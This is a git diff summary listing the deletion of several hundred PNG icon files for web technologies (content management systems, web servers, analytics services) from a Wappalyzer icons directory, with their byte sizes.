.../share/images/icons/ATG Web Commerce.png | Bin 873 -> 0 bytes Wappalyzer/share/images/icons/AWStats.png | Bin 499 -> 0 bytes .../share/images/icons/Accessible Portal.png | Bin 682 -> 0 bytes Wappalyzer/share/images/icons/AdInfinity.png | Bin 1363 -> 0 bytes Wappalyzer/share/images/icons/AdRiver.png | Bin 299 -> 0 bytes Wappalyzer/share/images/icons/AdRoll.png | Bin 633 -> 0 bytes Wappalyzer/share/images/icons/Adcash.png | Bin 621 -> 0 bytes Wappalyzer/share/images/icons/AddShoppers.png | Bin 1866 -> 0 bytes Wappalyzer/share/images/icons/AddThis.png | Bin 663 -> 0 bytes Wappalyzer/share/images/icons/Adobe CQ5.png | Bin 735 -> 0 bytes .../share/images/icons/Adobe ColdFusion.png | Bin 310 -> 0 bytes .../share/images/icons/Adobe GoLive.png | Bin 374 -> 0 bytes Wappalyzer/share/images/icons/Adobe Muse.png | Bin 2086 -> 0 bytes .../share/images/icons/Adobe RoboHelp.png | Bin 1774 -> 0 bytes .../share/images/icons/Advanced Web Stats.png | Bin 844 -> 0 bytes .../share/images/icons/Advert Stream.png | Bin 1397 -> 0 bytes Wappalyzer/share/images/icons/Adzerk.png | Bin 1050 -> 0 bytes Wappalyzer/share/images/icons/Airee.png | Bin 485 -> 0 bytes Wappalyzer/share/images/icons/Akamai.png | Bin 845 -> 0 bytes .../images/icons/Algolia Realtime Search.png | Bin 1261 -> 0 bytes .../share/images/icons/Allegro RomPager.png | Bin 205 -> 0 bytes Wappalyzer/share/images/icons/Alloy.png | Bin 267 -> 0 bytes Wappalyzer/share/images/icons/AlloyUI.png | Bin 607 -> 0 bytes Wappalyzer/share/images/icons/Amaya.png | Bin 454 -> 0 bytes Wappalyzer/share/images/icons/Ametys.png | Bin 567 -> 0 bytes Wappalyzer/share/images/icons/Amiro.CMS.png | Bin 347 -> 0 bytes Wappalyzer/share/images/icons/Anchor CMS.png | Bin 342 -> 0 bytes Wappalyzer/share/images/icons/AngularJS.png | Bin 1618 -> 0 bytes .../share/images/icons/Apache HBase.png | Bin 185 -> 0 bytes .../share/images/icons/Apache Hadoop.png | Bin 1505 -> 0 bytes .../share/images/icons/Apache JSPWiki.png | Bin 566 -> 0 bytes .../share/images/icons/Apache Tomcat.png | Bin 1569 -> 0 bytes .../images/icons/Apache Traffic Server.png | Bin 747 -> 0 bytes .../share/images/icons/Apache Wicket.png | Bin 1684 -> 0 bytes Wappalyzer/share/images/icons/Apache.png | Bin 1331 -> 0 bytes Wappalyzer/share/images/icons/AppNexus.png | Bin 1691 -> 0 bytes Wappalyzer/share/images/icons/Arc Forum.png | Bin 384 -> 0 bytes .../images/icons/Artifactory Web Server.png | Bin 317 -> 0 bytes Wappalyzer/share/images/icons/Artifactory.png | Bin 317 -> 0 bytes Wappalyzer/share/images/icons/AsciiDoc.png | Bin 131 -> 0 bytes .../images/icons/Atlassian Bitbucket.png | Bin 692 -> 0 bytes .../images/icons/Atlassian Confluence.png | Bin 1137 -> 0 bytes .../share/images/icons/Atlassian FishEye.png | Bin 766 -> 0 bytes .../icons/Atlassian Jira Issue Collector.png | Bin 809 -> 0 bytes .../share/images/icons/Atlassian Jira.png | Bin 809 -> 0 bytes Wappalyzer/share/images/icons/Avangate.png | Bin 858 -> 0 bytes Wappalyzer/share/images/icons/BIGACE.png | Bin 617 -> 0 bytes Wappalyzer/share/images/icons/Backbone.js.png | Bin 1525 -> 0 bytes Wappalyzer/share/images/icons/Banshee.png | Bin 254 -> 0 bytes Wappalyzer/share/images/icons/BaseHTTP.png | Bin 755 -> 0 bytes Wappalyzer/share/images/icons/BigDump.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Bigcommerce.png | Bin 574 -> 0 bytes Wappalyzer/share/images/icons/Bigware.png | Bin 750 -> 0 bytes Wappalyzer/share/images/icons/BittAds.png | Bin 184 -> 0 bytes Wappalyzer/share/images/icons/Blip.tv.png | Bin 218 -> 0 bytes Wappalyzer/share/images/icons/Blogger.png | Bin 261 -> 0 bytes Wappalyzer/share/images/icons/BlueKai.png | Bin 1385 -> 0 bytes Wappalyzer/share/images/icons/Bluefish.png | Bin 1871 -> 0 bytes Wappalyzer/share/images/icons/Boa.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Bolt.png | Bin 1544 -> 0 bytes Wappalyzer/share/images/icons/Bonfire.png | Bin 1994 -> 0 bytes Wappalyzer/share/images/icons/Brother.png | Bin 210 -> 0 bytes Wappalyzer/share/images/icons/BrowserCMS.png | Bin 509 -> 0 bytes Wappalyzer/share/images/icons/BugSense.png | Bin 336 -> 0 bytes Wappalyzer/share/images/icons/BugSnag.png | Bin 5226 -> 0 bytes Wappalyzer/share/images/icons/Bugzilla.png | Bin 641 -> 0 bytes .../share/images/icons/Burning Board.png | Bin 655 -> 0 bytes .../share/images/icons/Business Catalyst.png | Bin 362 -> 0 bytes Wappalyzer/share/images/icons/BuySellAds.png | Bin 370 -> 0 bytes Wappalyzer/share/images/icons/C++.png | Bin 743 -> 0 bytes Wappalyzer/share/images/icons/CFML.png | Bin 310 -> 0 bytes Wappalyzer/share/images/icons/CKEditor.png | Bin 712 -> 0 bytes .../share/images/icons/CMS Made Simple.png | Bin 1168 -> 0 bytes Wappalyzer/share/images/icons/CMSimple.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/CO2Stats.png | Bin 642 -> 0 bytes .../share/images/icons/CPG Dragonfly.png | Bin 407 -> 0 bytes Wappalyzer/share/images/icons/CS Cart.png | Bin 315 -> 0 bytes Wappalyzer/share/images/icons/CacheFly.png | Bin 348 -> 0 bytes Wappalyzer/share/images/icons/CakePHP.png | Bin 706 -> 0 bytes .../share/images/icons/Canon HTTP Server.png | Bin 678 -> 0 bytes Wappalyzer/share/images/icons/Canon.png | Bin 678 -> 0 bytes Wappalyzer/share/images/icons/Carbon Ads.png | Bin 595 -> 0 bytes Wappalyzer/share/images/icons/Cargo.png | Bin 147 -> 0 bytes Wappalyzer/share/images/icons/Catwalk.png | Bin 678 -> 0 bytes Wappalyzer/share/images/icons/CentOS.png | Bin 670 -> 0 bytes Wappalyzer/share/images/icons/CenteHTTPd.png | Bin 736 -> 0 bytes Wappalyzer/share/images/icons/Chameleon.png | Bin 773 -> 0 bytes Wappalyzer/share/images/icons/Chamilo.png | Bin 1231 -> 0 bytes Wappalyzer/share/images/icons/Chartbeat.png | Bin 981 -> 0 bytes Wappalyzer/share/images/icons/Cherokee.png | Bin 635 -> 0 bytes Wappalyzer/share/images/icons/CherryPy.png | Bin 301 -> 0 bytes Wappalyzer/share/images/icons/Chitika.png | Bin 1169 -> 0 bytes Wappalyzer/share/images/icons/ClickHeat.png | Bin 434 -> 0 bytes Wappalyzer/share/images/icons/ClickTale.png | Bin 1155 -> 0 bytes Wappalyzer/share/images/icons/Clicky.png | Bin 1869 -> 0 bytes Wappalyzer/share/images/icons/CloudFlare.png | Bin 1640 -> 0 bytes Wappalyzer/share/images/icons/Cloudera.png | Bin 500 -> 0 bytes Wappalyzer/share/images/icons/CodeIgniter.png | Bin 1037 -> 0 bytes Wappalyzer/share/images/icons/CodeMirror.png | Bin 179 -> 0 bytes .../share/images/icons/Commerce Server.png | Bin 351 -> 0 bytes .../share/images/icons/CompaqHTTPServer.png | Bin 589 -> 0 bytes Wappalyzer/share/images/icons/Concrete5.png | Bin 1851 -> 0 bytes Wappalyzer/share/images/icons/Connect.png | Bin 201 -> 0 bytes Wappalyzer/share/images/icons/Contao.png | Bin 301 -> 0 bytes Wappalyzer/share/images/icons/Contenido.png | Bin 205 -> 0 bytes Wappalyzer/share/images/icons/Contens.png | Bin 101 -> 0 bytes Wappalyzer/share/images/icons/ContentBox.png | Bin 624 -> 0 bytes .../share/images/icons/ConversionLab.png | Bin 557 -> 0 bytes Wappalyzer/share/images/icons/Coppermine.png | Bin 220 -> 0 bytes Wappalyzer/share/images/icons/Cosmoshop.png | Bin 236 -> 0 bytes Wappalyzer/share/images/icons/Cotonti.png | Bin 520 -> 0 bytes Wappalyzer/share/images/icons/CouchDB.png | Bin 393 -> 0 bytes Wappalyzer/share/images/icons/CppCMS.png | Bin 2864 -> 0 bytes Wappalyzer/share/images/icons/Craft CMS.png | Bin 681 -> 0 bytes Wappalyzer/share/images/icons/Crazy Egg.png | Bin 303 -> 0 bytes Wappalyzer/share/images/icons/Criteo.png | Bin 343 -> 0 bytes Wappalyzer/share/images/icons/Cross Pixel.png | Bin 160 -> 0 bytes Wappalyzer/share/images/icons/CubeCart.png | Bin 734 -> 0 bytes Wappalyzer/share/images/icons/Cufon.png | Bin 2528 -> 0 bytes Wappalyzer/share/images/icons/D3.png | Bin 1328 -> 0 bytes Wappalyzer/share/images/icons/DAV.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/DHTMLX.png | Bin 127 -> 0 bytes Wappalyzer/share/images/icons/DTG.png | Bin 1299 -> 0 bytes Wappalyzer/share/images/icons/Dancer.png | Bin 794 -> 0 bytes Wappalyzer/share/images/icons/Danneo CMS.png | Bin 231 -> 0 bytes Wappalyzer/share/images/icons/Dart.png | Bin 703 -> 0 bytes Wappalyzer/share/images/icons/Darwin.png | Bin 203 -> 0 bytes .../share/images/icons/DataLife Engine.png | Bin 420 -> 0 bytes .../share/images/icons/David Webbox.png | Bin 270 -> 0 bytes Wappalyzer/share/images/icons/Debian.png | Bin 721 -> 0 bytes Wappalyzer/share/images/icons/Decorum.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/DedeCMS.png | Bin 834 -> 0 bytes Wappalyzer/share/images/icons/Dell.png | Bin 453 -> 0 bytes Wappalyzer/share/images/icons/Demandware.png | Bin 154 -> 0 bytes Wappalyzer/share/images/icons/Deployd.png | Bin 765 -> 0 bytes Wappalyzer/share/images/icons/DirectAdmin.png | Bin 389 -> 0 bytes Wappalyzer/share/images/icons/Discourse.png | Bin 1916 -> 0 bytes Wappalyzer/share/images/icons/Disqus.png | Bin 320 -> 0 bytes Wappalyzer/share/images/icons/Django CMS.png | Bin 835 -> 0 bytes Wappalyzer/share/images/icons/Django.png | Bin 529 -> 0 bytes Wappalyzer/share/images/icons/Dojo.png | Bin 247 -> 0 bytes Wappalyzer/share/images/icons/Dokeos.png | Bin 644 -> 0 bytes Wappalyzer/share/images/icons/DokuWiki.png | Bin 2944 -> 0 bytes Wappalyzer/share/images/icons/DotNetNuke.png | Bin 691 -> 0 bytes Wappalyzer/share/images/icons/Dotclear.png | Bin 247 -> 0 bytes Wappalyzer/share/images/icons/Doxygen.png | Bin 115 -> 0 bytes Wappalyzer/share/images/icons/DreamWeaver.png | Bin 649 -> 0 bytes .../share/images/icons/Drupal Commerce.png | Bin 830 -> 0 bytes Wappalyzer/share/images/icons/Drupal.png | Bin 1409 -> 0 bytes Wappalyzer/share/images/icons/Dynamicweb.png | Bin 507 -> 0 bytes Wappalyzer/share/images/icons/E-Merchant.png | Bin 314 -> 0 bytes Wappalyzer/share/images/icons/ELOG HTTP.png | Bin 203 -> 0 bytes Wappalyzer/share/images/icons/ELOG.png | Bin 203 -> 0 bytes Wappalyzer/share/images/icons/EPiServer.png | Bin 246 -> 0 bytes Wappalyzer/share/images/icons/EPrints.png | Bin 651 -> 0 bytes Wappalyzer/share/images/icons/ESERV-10.png | Bin 262 -> 0 bytes Wappalyzer/share/images/icons/EWS-NIC4.png | Bin 453 -> 0 bytes Wappalyzer/share/images/icons/Ecodoo.png | Bin 156 -> 0 bytes Wappalyzer/share/images/icons/EdgeCast.png | Bin 691 -> 0 bytes Wappalyzer/share/images/icons/Eloqua.png | Bin 873 -> 0 bytes .../share/images/icons/EmbedThis Appweb.png | Bin 354 -> 0 bytes .../share/images/icons/Embedthis-http.png | Bin 465 -> 0 bytes Wappalyzer/share/images/icons/Ember.js.png | Bin 1735 -> 0 bytes Wappalyzer/share/images/icons/Enyo.png | Bin 197 -> 0 bytes Wappalyzer/share/images/icons/Epom.png | Bin 728 -> 0 bytes Wappalyzer/share/images/icons/Erlang.png | Bin 237 -> 0 bytes Wappalyzer/share/images/icons/Exhibit.png | Bin 611 -> 0 bytes Wappalyzer/share/images/icons/Express.png | Bin 1187 -> 0 bytes .../share/images/icons/ExpressionEngine.png | Bin 314 -> 0 bytes Wappalyzer/share/images/icons/ExtJS.png | Bin 1376 -> 0 bytes Wappalyzer/share/images/icons/FAST ESP.png | Bin 752 -> 0 bytes .../icons/FAST Search for SharePoint.png | Bin 548 -> 0 bytes Wappalyzer/share/images/icons/FWP.png | Bin 295 -> 0 bytes Wappalyzer/share/images/icons/Fact Finder.png | Bin 92 -> 0 bytes .../share/images/icons/Fat-Free Framework.png | Bin 1494 -> 0 bytes Wappalyzer/share/images/icons/Fedora.png | Bin 1173 -> 0 bytes Wappalyzer/share/images/icons/Fireblade.png | Bin 949 -> 0 bytes Wappalyzer/share/images/icons/FlashCom.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/FlexCMP.png | Bin 237 -> 0 bytes Wappalyzer/share/images/icons/FluxBB.png | Bin 332 -> 0 bytes Wappalyzer/share/images/icons/Flyspray.png | Bin 350 -> 0 bytes .../share/images/icons/Font Awesome.png | Bin 738 -> 0 bytes Wappalyzer/share/images/icons/Fortune3.png | Bin 2787 -> 0 bytes Wappalyzer/share/images/icons/FreeBSD.png | Bin 2512 -> 0 bytes Wappalyzer/share/images/icons/FreeTextBox.png | Bin 657 -> 0 bytes Wappalyzer/share/images/icons/FrontPage.png | Bin 357 -> 0 bytes Wappalyzer/share/images/icons/Fusion Ads.png | Bin 240 -> 0 bytes Wappalyzer/share/images/icons/G-WAN.png | Bin 171 -> 0 bytes .../share/images/icons/GX WebManager.png | Bin 681 -> 0 bytes Wappalyzer/share/images/icons/Gallery.png | Bin 596 -> 0 bytes Wappalyzer/share/images/icons/Gambio.png | Bin 730 -> 0 bytes Wappalyzer/share/images/icons/Gauges.png | Bin 156 -> 0 bytes Wappalyzer/share/images/icons/Gentoo.png | Bin 1910 -> 0 bytes .../share/images/icons/Get Satisfaction.png | Bin 160 -> 0 bytes .../share/images/icons/GetSimple CMS.png | Bin 213 -> 0 bytes Wappalyzer/share/images/icons/Ghost.png | Bin 204 -> 0 bytes Wappalyzer/share/images/icons/GitBook.png | Bin 485 -> 0 bytes Wappalyzer/share/images/icons/GitLab.png | Bin 856 -> 0 bytes Wappalyzer/share/images/icons/GlassFish.png | Bin 302 -> 0 bytes Wappalyzer/share/images/icons/Glyphicons.png | Bin 251 -> 0 bytes Wappalyzer/share/images/icons/GoAhead.png | Bin 465 -> 0 bytes Wappalyzer/share/images/icons/GoStats.png | Bin 787 -> 0 bytes .../share/images/icons/Google AdSense.png | Bin 1058 -> 0 bytes .../share/images/icons/Google Analytics.png | Bin 829 -> 0 bytes .../share/images/icons/Google App Engine.png | Bin 1745 -> 0 bytes .../share/images/icons/Google Charts.png | Bin 551 -> 0 bytes .../images/icons/Google Code Prettify.png | Bin 1274 -> 0 bytes .../share/images/icons/Google Font API.png | Bin 1459 -> 0 bytes .../images/icons/Google Friend Connect.png | Bin 1274 -> 0 bytes Wappalyzer/share/images/icons/Google Maps.png | Bin 1954 -> 0 bytes .../share/images/icons/Google PageSpeed.png | Bin 578 -> 0 bytes .../share/images/icons/Google Sites.png | Bin 2342 -> 0 bytes .../share/images/icons/Google Tag Manager.png | Bin 737 -> 0 bytes .../share/images/icons/Google Wallet.png | Bin 1116 -> 0 bytes .../share/images/icons/Google Web Toolkit.png | Bin 1970 -> 0 bytes .../share/images/icons/Graffiti CMS.png | Bin 385 -> 0 bytes Wappalyzer/share/images/icons/Grandstream.png | Bin 384 -> 0 bytes Wappalyzer/share/images/icons/Gravatar.png | Bin 1243 -> 0 bytes .../share/images/icons/Gravity Insights.png | Bin 257 -> 0 bytes .../share/images/icons/Green Valley CMS.png | Bin 375 -> 0 bytes .../share/images/icons/HP ChaiServer.png | Bin 589 -> 0 bytes .../share/images/icons/HP Compact Server.png | Bin 589 -> 0 bytes Wappalyzer/share/images/icons/HP ProCurve.png | Bin 589 -> 0 bytes .../images/icons/HP System Management.png | Bin 589 -> 0 bytes Wappalyzer/share/images/icons/HP iLO.png | Bin 589 -> 0 bytes Wappalyzer/share/images/icons/HP.png | Bin 589 -> 0 bytes Wappalyzer/share/images/icons/HTTP-Server.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Handlebars.png | Bin 1284 -> 0 bytes .../share/images/icons/Happy ICS Server.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/HeadJS.png | Bin 1285 -> 0 bytes Wappalyzer/share/images/icons/Hello Bar.png | Bin 323 -> 0 bytes Wappalyzer/share/images/icons/Hiawatha.png | Bin 493 -> 0 bytes Wappalyzer/share/images/icons/Highcharts.png | Bin 1091 -> 0 bytes Wappalyzer/share/images/icons/Highstock.png | Bin 1091 -> 0 bytes Wappalyzer/share/images/icons/Hippo.png | Bin 780 -> 0 bytes Wappalyzer/share/images/icons/Hogan.js.png | Bin 365 -> 0 bytes Wappalyzer/share/images/icons/Hotaru CMS.png | Bin 599 -> 0 bytes Wappalyzer/share/images/icons/HubSpot.png | Bin 497 -> 0 bytes Wappalyzer/share/images/icons/Hybris.png | Bin 906 -> 0 bytes .../share/images/icons/IBM Coremetrics.png | Bin 102 -> 0 bytes .../share/images/icons/IBM HTTP Server.png | Bin 102 -> 0 bytes .../icons/IBM Tivoli Storage Manager.png | Bin 102 -> 0 bytes .../images/icons/IBM WebSphere Commerce.png | Bin 102 -> 0 bytes .../images/icons/IBM WebSphere Portal.png | Bin 102 -> 0 bytes Wappalyzer/share/images/icons/IIS.png | Bin 494 -> 0 bytes Wappalyzer/share/images/icons/IPB.png | Bin 217 -> 0 bytes Wappalyzer/share/images/icons/ImpressCMS.png | Bin 408 -> 0 bytes .../share/images/icons/ImpressPages.png | Bin 254 -> 0 bytes Wappalyzer/share/images/icons/InProces.png | Bin 429 -> 0 bytes Wappalyzer/share/images/icons/Incapsula.png | Bin 1025 -> 0 bytes Wappalyzer/share/images/icons/Indexhibit.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Indico.png | Bin 380 -> 0 bytes Wappalyzer/share/images/icons/Indy.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/InstantCMS.png | Bin 280 -> 0 bytes .../Intel Active Management Technology.png | Bin 604 -> 0 bytes .../share/images/icons/IntenseDebate.png | Bin 717 -> 0 bytes Wappalyzer/share/images/icons/Intercom.png | Bin 540 -> 0 bytes Wappalyzer/share/images/icons/Intershop.png | Bin 138 -> 0 bytes Wappalyzer/share/images/icons/Invenio.png | Bin 1756 -> 0 bytes Wappalyzer/share/images/icons/Ionicons.png | Bin 887 -> 0 bytes Wappalyzer/share/images/icons/JAlbum.png | Bin 454 -> 0 bytes .../images/icons/JBoss Application Server.png | Bin 1772 -> 0 bytes Wappalyzer/share/images/icons/JBoss Web.png | Bin 1194 -> 0 bytes Wappalyzer/share/images/icons/JC-HTTPD.png | Bin 678 -> 0 bytes Wappalyzer/share/images/icons/JS Charts.png | Bin 271 -> 0 bytes Wappalyzer/share/images/icons/JTL Shop.png | Bin 253 -> 0 bytes Wappalyzer/share/images/icons/Jalios.png | Bin 246 -> 0 bytes .../share/images/icons/Java Servlet.png | Bin 1496 -> 0 bytes Wappalyzer/share/images/icons/Java.png | Bin 1496 -> 0 bytes .../share/images/icons/JavaServer Faces.png | Bin 183 -> 0 bytes .../share/images/icons/JavaServer Pages.png | Bin 1496 -> 0 bytes .../icons/Javascript Infovis Toolkit.png | Bin 377 -> 0 bytes Wappalyzer/share/images/icons/Jekyll.png | Bin 1145 -> 0 bytes Wappalyzer/share/images/icons/Jenkins.png | Bin 2000 -> 0 bytes Wappalyzer/share/images/icons/Jetty.png | Bin 672 -> 0 bytes Wappalyzer/share/images/icons/Jirafe.png | Bin 444 -> 0 bytes Wappalyzer/share/images/icons/Jo.png | Bin 247 -> 0 bytes Wappalyzer/share/images/icons/JobberBase.png | Bin 252 -> 0 bytes Wappalyzer/share/images/icons/Joomla.png | Bin 929 -> 0 bytes Wappalyzer/share/images/icons/K2.png | Bin 620 -> 0 bytes Wappalyzer/share/images/icons/KISSmetrics.png | Bin 724 -> 0 bytes Wappalyzer/share/images/icons/KS_HTTP.png | Bin 678 -> 0 bytes Wappalyzer/share/images/icons/Kampyle.png | Bin 805 -> 0 bytes Wappalyzer/share/images/icons/Kendo UI.png | Bin 634 -> 0 bytes Wappalyzer/share/images/icons/Kentico CMS.png | Bin 714 -> 0 bytes Wappalyzer/share/images/icons/KineticJS.png | Bin 1176 -> 0 bytes Wappalyzer/share/images/icons/Knockout.js.png | Bin 972 -> 0 bytes Wappalyzer/share/images/icons/Koa.png | Bin 888 -> 0 bytes .../share/images/icons/Koala Framework.png | Bin 2587 -> 0 bytes Wappalyzer/share/images/icons/Koego.png | Bin 140 -> 0 bytes Wappalyzer/share/images/icons/Kohana.png | Bin 597 -> 0 bytes Wappalyzer/share/images/icons/Kolibri CMS.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Komodo CMS.png | Bin 214 -> 0 bytes Wappalyzer/share/images/icons/Koobi.png | Bin 475 -> 0 bytes Wappalyzer/share/images/icons/Kooboo CMS.png | Bin 1659 -> 0 bytes Wappalyzer/share/images/icons/LEPTON.png | Bin 393 -> 0 bytes Wappalyzer/share/images/icons/LabVIEW.png | Bin 180 -> 0 bytes Wappalyzer/share/images/icons/Laravel.png | Bin 318 -> 0 bytes Wappalyzer/share/images/icons/Leaflet.png | Bin 424 -> 0 bytes Wappalyzer/share/images/icons/Less.png | Bin 1337 -> 0 bytes Wappalyzer/share/images/icons/Liferay.png | Bin 518 -> 0 bytes Wappalyzer/share/images/icons/Lift.png | Bin 734 -> 0 bytes .../share/images/icons/LightMon Engine.png | Bin 684 -> 0 bytes Wappalyzer/share/images/icons/Lightbox.png | Bin 158 -> 0 bytes Wappalyzer/share/images/icons/LimeSurvey.png | Bin 633 -> 0 bytes Wappalyzer/share/images/icons/LinkSmart.png | Bin 900 -> 0 bytes Wappalyzer/share/images/icons/LiteSpeed.png | Bin 194 -> 0 bytes Wappalyzer/share/images/icons/LiveJournal.png | Bin 1853 -> 0 bytes .../share/images/icons/LiveStreet CMS.png | Bin 743 -> 0 bytes Wappalyzer/share/images/icons/Livefyre.png | Bin 653 -> 0 bytes Wappalyzer/share/images/icons/Lo-dash.png | Bin 1379 -> 0 bytes .../share/images/icons/Lockerz Share.png | Bin 249 -> 0 bytes Wappalyzer/share/images/icons/Locomotive.png | Bin 680 -> 0 bytes Wappalyzer/share/images/icons/Lodash.png | Bin 211 -> 0 bytes .../images/icons/Logitech Media Server.png | Bin 240 -> 0 bytes .../share/images/icons/Lotus Domino.png | Bin 102 -> 0 bytes Wappalyzer/share/images/icons/Lua.png | Bin 1029 -> 0 bytes .../share/images/icons/M.R. Inc Webserver.png | Bin 1049 -> 0 bytes .../share/images/icons/M.R. Inc Wild CMS.png | Bin 1049 -> 0 bytes Wappalyzer/share/images/icons/MOBOTIX.png | Bin 645 -> 0 bytes Wappalyzer/share/images/icons/MODx.png | Bin 1610 -> 0 bytes Wappalyzer/share/images/icons/Magento.png | Bin 583 -> 0 bytes Wappalyzer/share/images/icons/Mambo.png | Bin 763 -> 0 bytes Wappalyzer/share/images/icons/MantisBT.png | Bin 349 -> 0 bytes .../share/images/icons/ManyContacts.png | Bin 371 -> 0 bytes Wappalyzer/share/images/icons/Marketo.png | Bin 1229 -> 0 bytes Wappalyzer/share/images/icons/MathJax.png | Bin 1051 -> 0 bytes Wappalyzer/share/images/icons/MaxSite CMS.png | Bin 772 -> 0 bytes .../share/images/icons/MediaElement.js.png | Bin 105 -> 0 bytes Wappalyzer/share/images/icons/MediaTomb.png | Bin 995 -> 0 bytes Wappalyzer/share/images/icons/MediaWiki.png | Bin 2244 -> 0 bytes Wappalyzer/share/images/icons/Meebo.png | Bin 129 -> 0 bytes Wappalyzer/share/images/icons/Methode.png | Bin 833 -> 0 bytes .../share/images/icons/Microsoft ASP.NET.png | Bin 1058 -> 0 bytes .../share/images/icons/Microsoft HTTPAPI.png | Bin 157 -> 0 bytes .../images/icons/Microsoft SharePoint.png | Bin 753 -> 0 bytes Wappalyzer/share/images/icons/MiniBB.png | Bin 142 -> 0 bytes Wappalyzer/share/images/icons/MiniServ.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Mint.png | Bin 348 -> 0 bytes Wappalyzer/share/images/icons/Mixpanel.png | Bin 1714 -> 0 bytes Wappalyzer/share/images/icons/Mobify.png | Bin 663 -> 0 bytes Wappalyzer/share/images/icons/MochiKit.png | Bin 535 -> 0 bytes Wappalyzer/share/images/icons/MochiWeb.png | Bin 1379 -> 0 bytes Wappalyzer/share/images/icons/Modernizr.png | Bin 112 -> 0 bytes Wappalyzer/share/images/icons/MoinMoin.png | Bin 379 -> 0 bytes Wappalyzer/share/images/icons/Mojolicious.png | Bin 655 -> 0 bytes Wappalyzer/share/images/icons/Mollom.png | Bin 372 -> 0 bytes .../share/images/icons/Moment Timezone.png | Bin 524 -> 0 bytes Wappalyzer/share/images/icons/Moment.js.png | Bin 524 -> 0 bytes Wappalyzer/share/images/icons/Mondo Media.png | Bin 607 -> 0 bytes Wappalyzer/share/images/icons/MongoDB.png | Bin 762 -> 0 bytes Wappalyzer/share/images/icons/Mongrel.png | Bin 977 -> 0 bytes .../share/images/icons/Monkey HTTP Server.png | Bin 2722 -> 0 bytes Wappalyzer/share/images/icons/Mono.net.png | Bin 717 -> 0 bytes Wappalyzer/share/images/icons/Mono.png | Bin 647 -> 0 bytes Wappalyzer/share/images/icons/MooTools.png | Bin 1398 -> 0 bytes Wappalyzer/share/images/icons/Moodle.png | Bin 1253 -> 0 bytes Wappalyzer/share/images/icons/Moogo.png | Bin 440 -> 0 bytes .../share/images/icons/Motion-httpd.png | Bin 1379 -> 0 bytes .../share/images/icons/Movable Type.png | Bin 403 -> 0 bytes Wappalyzer/share/images/icons/Moxa.png | Bin 536 -> 0 bytes .../share/images/icons/Mozard Suite.png | Bin 425 -> 0 bytes Wappalyzer/share/images/icons/Mura CMS.png | Bin 677 -> 0 bytes Wappalyzer/share/images/icons/Mustache.png | Bin 266 -> 0 bytes Wappalyzer/share/images/icons/MyBB.png | Bin 156 -> 0 bytes Wappalyzer/share/images/icons/MyBlogLog.png | Bin 701 -> 0 bytes Wappalyzer/share/images/icons/MySQL.png | Bin 620 -> 0 bytes Wappalyzer/share/images/icons/Mynetcap.png | Bin 465 -> 0 bytes Wappalyzer/share/images/icons/NOIX.png | Bin 430 -> 0 bytes Wappalyzer/share/images/icons/NVD3.png | Bin 1025 -> 0 bytes Wappalyzer/share/images/icons/Nedstat.png | Bin 331 -> 0 bytes Wappalyzer/share/images/icons/Nepso.png | Bin 1855 -> 0 bytes Wappalyzer/share/images/icons/Netmonitor.png | Bin 902 -> 0 bytes .../share/images/icons/Nette Framework.png | Bin 1680 -> 0 bytes Wappalyzer/share/images/icons/New Relic.png | Bin 1439 -> 0 bytes Wappalyzer/share/images/icons/Nginx.png | Bin 738 -> 0 bytes Wappalyzer/share/images/icons/Nokia Maps.png | Bin 515 -> 0 bytes Wappalyzer/share/images/icons/OXID eShop.png | Bin 384 -> 0 bytes Wappalyzer/share/images/icons/October CMS.png | Bin 700 -> 0 bytes .../icons/OmniTouch 8660 My Teamwork.png | Bin 2034 -> 0 bytes Wappalyzer/share/images/icons/OneStat.png | Bin 909 -> 0 bytes .../share/images/icons/Open AdStream.png | Bin 2124 -> 0 bytes .../images/icons/Open Journal Systems.png | Bin 196 -> 0 bytes .../share/images/icons/Open Web Analytics.png | Bin 158 -> 0 bytes Wappalyzer/share/images/icons/OpenCart.png | Bin 456 -> 0 bytes Wappalyzer/share/images/icons/OpenGSE.png | Bin 1274 -> 0 bytes Wappalyzer/share/images/icons/OpenGrok.png | Bin 427 -> 0 bytes Wappalyzer/share/images/icons/OpenLayers.png | Bin 555 -> 0 bytes Wappalyzer/share/images/icons/OpenNemas.png | Bin 245 -> 0 bytes Wappalyzer/share/images/icons/OpenSSL.png | Bin 693 -> 0 bytes .../images/icons/OpenText Web Solutions.png | Bin 392 -> 0 bytes Wappalyzer/share/images/icons/Ophal.png | Bin 310 -> 0 bytes Wappalyzer/share/images/icons/Optimizely.png | Bin 736 -> 0 bytes .../icons/Oracle Application Server.png | Bin 873 -> 0 bytes .../Oracle Dynamic Monitoring Service.png | Bin 873 -> 0 bytes .../share/images/icons/Oracle HTTP Server.png | Bin 873 -> 0 bytes .../Oracle Recommendations On Demand.png | Bin 873 -> 0 bytes .../share/images/icons/Oracle Web Cache.png | Bin 873 -> 0 bytes Wappalyzer/share/images/icons/Outbrain.png | Bin 527 -> 0 bytes .../share/images/icons/Outlook Web App.png | Bin 4258 -> 0 bytes Wappalyzer/share/images/icons/PANSITE.png | Bin 525 -> 0 bytes Wappalyzer/share/images/icons/PDF.js.png | Bin 1630 -> 0 bytes Wappalyzer/share/images/icons/PHP-Fusion.png | Bin 647 -> 0 bytes Wappalyzer/share/images/icons/PHP-Nuke.png | Bin 746 -> 0 bytes Wappalyzer/share/images/icons/PHP.png | Bin 822 -> 0 bytes Wappalyzer/share/images/icons/Pagekit.png | Bin 129 -> 0 bytes Wappalyzer/share/images/icons/Pardot.png | Bin 1499 -> 0 bytes Wappalyzer/share/images/icons/Parse.ly.png | Bin 421 -> 0 bytes Wappalyzer/share/images/icons/PayPal.png | Bin 1221 -> 0 bytes Wappalyzer/share/images/icons/PencilBlue.png | Bin 503 -> 0 bytes Wappalyzer/share/images/icons/Percussion.png | Bin 308 -> 0 bytes .../share/images/icons/PerfSONAR-PS.png | Bin 647 -> 0 bytes 